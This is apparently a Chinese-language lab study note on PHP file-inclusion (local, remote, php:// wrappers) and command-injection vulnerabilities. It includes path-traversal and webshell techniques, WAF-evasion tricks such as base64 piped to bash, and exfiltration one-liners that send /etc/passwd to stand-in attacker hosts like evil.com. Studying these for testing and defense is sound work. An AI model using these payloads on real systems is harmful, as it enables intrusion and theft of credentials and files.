文件包含漏洞
搭建靶场所用文件:https://pan.baidu.com/s/1IoX4I73J5mnD96tzlnV6UQ?pwd=s86q
这部分在之前的【文件上传】当中已有运用,详情请看1.19 XSS 注入攻击2与文件上传
文件包含在php中有两种写法:
include出错但继续require出错会停include_once相当于include,但会检查确保只包含一次require相当于require,但会检查确保只包含一次
本地包含(Local File Include)
在靶场中选择File Inclusion(local)选择一个选项后用burp抓包可以看见提交的数据包中第一行为:
|
|
这里作者已经帮我们在网站根目录的test文件夹里放了一个phpinfo.txt我们需要使用调用它。
因为默认情况下这里路径指的是\vul\fileinclude\include文件夹,所以我们要在路径前面写../来回退到上一个目录
最终的filename是../../../test/phpinfo.txt使用了三次回退正好回退到了根目录
注: 有些情况下(PHP<5.3.4)filename最后可能需要使用%00截断
远程包含(Remote File Include)
测试远程文件包含可以用准备好的phpinfo文件:http://www.retr0.xyz/blog-files/phpinfo.txt
同样提交时使用burp抓包,第一行为:
|
|
这里比较简单,因为include函数是放在数据包里的,所以我们直接把原本的filename替换成远程木马的链接就可以了,例如:
|
|
有时http://协议异常时也可以试试ftp://
一般情况下远程文件包含不会像这样简单,因为需要服务端配置了以下环境(php.ini):
allow_url_fopen = Onallow_url_include = On
结合php伪协议
php://filter(获取源码)
- 适用场景
|
|
并且:
allow_url_include❌ 无要求php://filter默认开启
- 利用方式
|
|
此外也有:
|
|
php://input(执行代码)
php://input会让服务端将你传的php代码当作一个临时的php文件运行。
使用方法:
向目标参数传入php://input,如:
|
|
同时用POST方式传入你的一句话木马:
|
|
php://file(使用绝对路径打开文件)
使用方法:
修改目标参数为:
|
|
如:filename=file:///etc/passwd
或:filename=file:///C:/windows/
php://data(直接在URL中写php代码)
使用方法:
修改目标参数为:
|
|
或者使用base64加密版(不要带加号)
|
|
命令执行漏洞
命令执行在之前的1.6 其他基础web漏洞介绍有过简单介绍,在这里再来总结补充一下。
例如一个网页上让你输入一个ip,提交后会返回ping这个ip的结果,那么我们要想这个ping的执行是否是由系统命令直接执行的(cmd或bash),如果是那么如何让它执行别的命令?
危险函数盘点
系统命令执行函数
system()shell_exec()popen()exec()passthru()proc_open()- 反引号
command(等效于 shell_exec ())
代码执行函数
eval()create_function()assert()preg_replace ('/e')(正则替换 /e 修饰符触发代码执行)
漏洞模式分类(含代码示例)
直接执行模式
- 核心特征:用户输入直接作为命令执行参数
- 示例代码:
system($_GET['cmd']); - 攻击逻辑:输入的 cmd 参数无过滤,直接触发命令执行
拼接执行模式
- 核心特征:用户输入与固定命令拼接后执行
- 示例代码:
$ip = $_GET['ip']; system("ping -c 4 " . $ip); - 攻击逻辑:通过拼接分隔符(如;、|)注入额外命令
动态函数调用模式
- 核心特征:用户输入作为函数名调用
- 示例代码:
$func = $_GET['func']; $func(); - 攻击逻辑:输入危险函数名(如 system)触发执行
命令执行绕过技术
命令分隔符(按系统分类)
- Linux 系统
- 分号
;:顺序执行多个命令(command1; command2) - 管道
|:将前命令结果传递给后命令(command1 | command2) - 逻辑运算符:
&&:前命令成功则执行后命令(command1 && command2)||:前命令失败则执行后命令(command1 || command2)
- 后台执行
&:同时执行多个命令(command1 & command2) - 换行符
0x0a:换行分隔命令(command1 0x0a command2) - 子 shell:
$(command1)或\command1``(执行子 shell 命令)
- Windows 系统
- 顺序执行
&:command1 & command2 - 逻辑运算符:
&&(前成功则后执行)、||(前失败则后执行) - 管道
|:command1 | command2
空格绕过
$IFS:cat${IFS}/etc/passwd- 大括号
{}:{cat,/etc/passwd} - 重定向符号:
cat</etc/passwd - Hex 编码:
X=$'cat\x09/etc/passwd'&&$X(\x09 为 Tab 字符)
字符串混淆
- 变量拼接:
a=c;b=at;c=/etc/passwd;$a$b $c - 通配符替代:
/bin/cat /etc/pass[d]、/???/c?t /etc/passwd - 引号混淆:
c'a't、c"a"t、c\at - 特殊符号绕过:
l's'(绕过 ls 关键词屏蔽)、chmo\d(绕过 chmod 屏蔽)
编码绕过
Base64 编码(适用于 WAF 拦截关键字)
- 示例:将
cat /etc/passwd编码为Y2F0IC9ldGMvcGFzc3dk - 执行命令:
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
Hex 编码
- 示例:将
cat /etc/passwd编码为636174202f6574632f706173737764 - 执行命令:
echo 636174202f6574632f706173737764 | xxd -r -p | bash
无回显攻击技术(Blind Command Execution)
DNS 外带(OOB)
- 原理:将命令执行结果作为子域名发送到攻击者 DNS 服务器
- 示例:
ping 反引号whoami反引号.evil.sh
HTTP 外带
- 原理:通过 HTTP 请求将结果发送到攻击者服务器
- 示例:
curl http://evil.com/$(cat /etc/passwd|base64) - 进阶:带认证 + 数据编码
curl -u user:pass http://evil.com/$(whoami|base64) -d "data=$(cat /etc/passwd|base64)"
时间盲注
- 原理:通过命令执行后的延迟判断是否成功
- 示例:
sleep 5(Linux)、ping -c 10 127.0.0.1(Linux)
常用系统命令与替代方案
基础命令(按系统分类)
- Linux
- 查看目录:ls
- 读取文件:cat、tac、head、tail、more、less、nl、sort、paste
- 系统信息:pwd、whoami、chmod
- 路径格式:
/etc/passwd、./haha.php
- Windows
- 系统信息:whoami、ipconfig
- 查看目录:dir
- 读取文件:type
- 路径格式:
c:/a.txt、c:\a.txt
关键词WAF屏蔽绕过(替代命令)
- 屏蔽 cat:使用 tac、more、less、head、tail、nl、sort、paste
- 屏蔽 ls:使用
l's'、ls的通配符替代 - 屏蔽 php:使用通配符
./haha.ph*、./haha.ph?